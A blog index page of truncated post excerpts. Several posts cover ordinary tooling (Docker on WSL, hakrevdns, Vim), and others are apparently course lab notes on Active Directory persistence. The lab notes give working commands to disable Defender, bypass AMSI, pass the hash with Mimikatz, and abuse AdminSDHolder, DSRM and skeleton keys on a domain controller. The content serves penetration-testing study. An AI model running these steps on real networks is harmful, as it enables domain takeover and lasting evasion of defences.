Avi's blog

Docker installation. Give the below commands one by one. apt install docker-cli or apt install docker.io After the installation is complete, if you are inside wsl then give this command to start docker, because inside wsl systemd (systemctl) does not work: service docker start WSL troubleshooting : If the above command " service docker start " does not work then use below command: dockerd (It may not work if any previous docker process is running. It will show you pid of that process. Use this command to kill that process " kill -9 pid " and run dockerd command again) If " docker ps -a " giving error like " Cannot connect to the Docker daemon at unix:///run/podman/podman.sock. Is the docker daemon running? " This is because you may installed podman-docker package. If you remove the package still you will get this error but you should remove the package. Then issue this command: env | grep -i docker DOCKER_HOST=unix:///run/podman/podman.sock   --...

  I have done this in my ubuntu 22.04 machine.  First you need to download the tool that is written in golang. So run the below commands one by one: apt install golang-go go install github.com/hakluke/hakrevdns@latest cd go cd bin chmod +x hakrevdns echo "104.193.143.200" | ./hakrevdns prips "104.193.143.0/24" | ./hakrevdns Avi

  Here every command works in command mode . And if you need to write something then you need to go to Insert mode . Pressing i will take you to the insert mode.  1. Let's say you want to search something. For example you want to find avi keyword. Then first you need to go to the command mode by typing Esc . Now type /avi  (at the bottom) and hit enter. Press small n to forward this search pattern and press Shift N to go reverse.  2. Substitute something: :%s/old string/new string/g    (g for affecting globally) 3. If you want to pick the 1st letter of word then press w and last letter of word then press e .  4. yy means copy a single line. 2yy means copy double lines.  5. Shift P is for paste.  6. Shift D to delete a line or cut a line.  7. Press o to go a new line.  8. Press Home to go to the 1st letter of a line and End to go to the last letter of a line.  9. If you want to save the file then press wq! . 10. If ...

  In this lession we will be continuing our discussion on persistence as we have domain admin privilege. Lets discuss about persistence with acl’s specifically host based security descriptors. Once we have local administrator access on a box it is possible to modify security descriptors. For example, groups, sacl, dacl etc. of multiple remote access securable objects like wmi, powershell remoting, remote registry etc. so that the non-admin user can access it. By default only administrators are allowed to use remote administration tool to login remote machine and execute commands etc. But by modifying security descriptors of these protocols, we can make our controlled user to give that same power. Then that user will be allowed to access remote box and execute commands. We need administrative privileges to the target machine to do this. This will be more clear soon. Persistence time is very long. There are very less organization who monitor acl and acl audit logs. ACL's can be mod...

  Persistence using ACL's - AdminSDHolder Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. Disable defender: Set-MpPreference -DisableRealtimeMonitoring $true . C:\AD\Tools\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"' Now another powershell session will open with domain admin privs.  On that session type below: $sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local Enter-PSSession -Session $sess Bypass amsi and disable defender there i mean in dc machine. Then exit. Invoke-Command -FilePath C:\AD\Tools\Invoke-PowerView.ps1 -Session $sess Enter-PSSession -Session $sess  (PowerView will be loaded on the memory of dc now) Now you are in domain controller machine with the privs of domain admin. Now add full control permission for a user to the AdminSDHolder using powerv...

  When dc needs to be rebooted in safe mode, then it requires dsrm password.  How we can abuse this? If we have domain admin privilege then we can change the logon behavior of this particular user (not rid 500) and then remotely logon to the dc as as administrator. By default the dsrm administrator is not allowed to logon over the network onto the dc. Sometimes system administrators set the same password for both the account. In that case you just need to enable remote login for the dsrm administrator account. So what is the persistent time? Its very very long even more than the golden ticket. Because it is created when domain controller is promoted and not change frequently. Unless this password is change, you have persistent access on the dc. Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. Disable defender: Set-MpPreference -DisableRealtimeMonitoring $true . C:\AD\Tools\Invoke-Mimikatz.ps1 Invoke-Mimikatz -Command...

  With domain admin privs we can patch the lsass process of the dc and that allows us to subvert the authentication mechanism that is once we injected our skeleton key inside the lsass, both the regular username and passwords and regular username and our own skeleton key as password would work just fine. So we will be injecting skeleton key to the lsass so that we can access any resource with any valid username and skeleton key as the password. The persistence duration is until reboot or the lsass process reboots.   Please keep in mind once the skeleton attack is executed you cannot re-execute the attack unless the dc is been rebooted. If you found an error then assume that there is another attacker present on the environment who has already done this.  Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. Disable defender: Set-MpPreference -DisableRealtimeMonitoring $true . C:\AD\Tools\Invoke-Mimikatz.ps1 Invoke-Mi...